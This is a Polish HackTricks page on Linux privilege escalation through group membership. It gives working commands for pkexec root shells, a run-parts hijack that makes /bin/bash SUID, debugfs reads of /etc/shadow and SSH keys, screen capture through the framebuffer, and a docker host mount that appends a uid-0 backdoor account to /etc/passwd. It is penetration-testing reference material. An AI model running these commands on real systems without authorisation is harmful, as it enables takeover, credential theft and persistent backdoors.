Interesujące grupy - Linux Privesc

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Grupy Sudo/Admin

PE - Method 1

Czasami, domyślnie (lub ponieważ jakieś oprogramowanie tego potrzebuje) w pliku /etc/sudoers możesz znaleźć niektóre z następujących linii:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

To oznacza, że każdy użytkownik należący do grupy sudo lub admin może wykonać dowolne polecenie jako sudo.

Jeżeli tak jest, aby zostać root, możesz po prostu wykonać:

sudo su

PE - Metoda 2

Znajdź wszystkie suid binaries i sprawdź, czy istnieje binary Pkexec:

find / -perm -4000 2>/dev/null

Jeśli okaże się, że binarka pkexec is a SUID binary i należysz do sudo lub admin, prawdopodobnie będziesz mógł uruchamiać programy jako sudo, używając pkexec.
To dlatego, że zazwyczaj te grupy są zdefiniowane w polkit policy. Ta polityka zasadniczo określa, które grupy mogą używać pkexec.
Sprawdź to poleceniem:

cat /etc/polkit-1/localauthority.conf.d/*

Tam znajdziesz, które grupy mają pozwolenie na uruchamianie pkexec, a domyślnie w niektórych dystrybucjach linux pojawiają się grupy sudo i admin.

Aby stać się rootem możesz wykonać:

pkexec "/bin/sh" #You will be prompted for your user password

Jeśli spróbujesz uruchomić pkexec i otrzymasz ten błąd:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

Nie chodzi o brak uprawnień, lecz o to, że nie jesteś połączony w sesji bez GUI. Istnieje obejście tego problemu tutaj: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Potrzebujesz 2 różnych sesji ssh:

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Wheel Group

Czasami, domyślnie w pliku /etc/sudoers można znaleźć tę linię:

%wheel	ALL=(ALL:ALL) ALL

To oznacza, że każdy użytkownik należący do grupy wheel może wykonywać dowolne polecenia przez sudo.

Jeśli tak jest, aby zostać rootem, możesz po prostu wykonać:

sudo su

Grupa shadow

Użytkownicy z group shadow mogą odczytać plik /etc/shadow:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

Zatem przeczytaj plik i spróbuj crack some hashes.

Krótka uwaga dotycząca stanu blokady przy analizie hashy:

  • Wpisy zawierające ! lub * są zazwyczaj nieinteraktywne dla logowań hasłem.
  • !hash zwykle oznacza, że hasło zostało ustawione, a następnie zablokowane.
  • * zwykle oznacza, że nigdy nie ustawiono prawidłowego hasha.

To jest przydatne przy klasyfikacji kont nawet gdy bezpośrednie logowanie jest zablokowane.

Staff Group

staff: Pozwala użytkownikom na dodawanie lokalnych modyfikacji do systemu (/usr/local) bez potrzeby uprawnień roota (zauważ, że pliki wykonywalne w /usr/local/bin znajdują się w zmiennej PATH każdego użytkownika i mogą “override” pliki wykonywalne w /bin i /usr/bin o tej samej nazwie). Porównaj z grupą “adm”, która jest bardziej związana z monitoringiem/bezpieczeństwem. [source]

W dystrybucjach Debian zmienna $PATH pokazuje, że /usr/local/ ma najwyższy priorytet, niezależnie od tego, czy jesteś użytkownikiem uprzywilejowanym, czy nie.

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Jeśli uda nam się przeprowadzić hijack niektórych programów w /usr/local, możemy łatwo uzyskać root.

Hijack programu run-parts to prosty sposób na uzyskanie root, ponieważ wiele programów uruchamia run-parts (np. crontab, przy logowaniu ssh).

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

lub gdy następuje nowe logowanie do sesji ssh.

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

Exploit

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

Grupa ‘disk’

To uprawnienie jest niemal równoważne root access, ponieważ możesz uzyskać dostęp do wszystkich danych znajdujących się na maszynie.

Pliki:/dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Zauważ, że używając debugfs możesz także zapisywać pliki. Na przykład, aby skopiować /tmp/asd1.txt do /tmp/asd2.txt, możesz to zrobić:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

Jednak jeśli spróbujesz zapisać pliki należące do roota (jak /etc/shadow lub /etc/passwd), otrzymasz błąd “Permission denied”.

Grupa video

Używając polecenia w możesz sprawdzić kto jest zalogowany w systemie, a wyjście będzie wyglądać następująco:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

The tty1 oznacza, że użytkownik yossi jest zalogowany fizycznie do terminala na maszynie.

Grupa video group ma dostęp do podglądu obrazu ekranu. W praktyce możesz obserwować ekrany. Aby to zrobić musisz pobrać bieżący obraz ekranu jako surowe dane i odczytać rozdzielczość, której ekran używa. Dane ekranu można zapisać w /dev/fb0, a rozdzielczość ekranu znajdziesz w /sys/class/graphics/fb0/virtual_size.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Aby otworzyć obraz RAW możesz użyć GIMP, wybierz plik screen.raw i jako typ pliku wybierz Raw image data:

Następnie zmodyfikuj pola Width i Height na wartości używane na ekranie i sprawdź różne Image Types (i wybierz ten, który najlepiej pokazuje ekran):

Grupa root

Wygląda na to, że domyślnie członkowie grupy root mogą mieć dostęp do modyfikowania niektórych plików konfiguracyjnych service, niektórych plików libraries lub innych interesujących rzeczy, które mogłyby zostać użyte do eskalacji uprawnień…

Sprawdź, które pliki członkowie grupy root mogą modyfikować:

find / -group root -perm -g=w 2>/dev/null

Docker Group

Możesz zamontować system plików roota maszyny hosta na wolumenie instancji, więc gdy instancja się uruchomi, od razu wykona chroot w tym wolumenie. To w praktyce daje ci uprawnienia roota na maszynie.

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

Wreszcie, jeśli żadna z poprzednich sugestii Ci nie odpowiada lub z jakiegoś powodu nie działa (docker api firewall?) możesz zawsze spróbować run a privileged container and escape from it jak wyjaśniono tutaj:

Container Security

Jeśli masz uprawnienia zapisu do docker socket przeczytaj this post about how to escalate privileges abusing the docker socket.

GitHub - KrustyHack/docker-privilege-escalation: A docker example for privilege escalation \xc2\xb7 GitHub

Privilege escalation via Docker - Chris Foster

Grupa lxc/lxd

Interesting Groups - Linux Privesc

Grupa adm

Zazwyczaj członkowie grupy adm mają uprawnienia do odczytu plików logów znajdujących się w /var/log/.
Dlatego, jeśli przejąłeś konto użytkownika należącego do tej grupy, zdecydowanie powinieneś rzucić okiem na logi.

Grupy Backup / Operator / lp / Mail

Te grupy są często wektorami credential-discovery raczej niż bezpośrednimi wektorami do root:

  • backup: może ujawnić archiwa z konfiguracjami, kluczami, DB dumps lub tokenami.
  • operator: platform-specific operational access that can leak sensitive runtime data.
  • lp: print queues/spools mogą zawierać treść dokumentów.
  • mail: mail spools mogą ujawnić reset links, OTPs i wewnętrzne poświadczenia.

Traktuj członkostwo tutaj jako znalezisko wysokowartościowego ujawnienia danych i pivot through password/token reuse.

Grupa auth

W OpenBSD grupa auth zazwyczaj może zapisywać w katalogach /etc/skey i /var/db/yubikey, jeśli są używane.
Te uprawnienia mogą być nadużyte za pomocą następującego exploita, aby escalate privileges do root: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks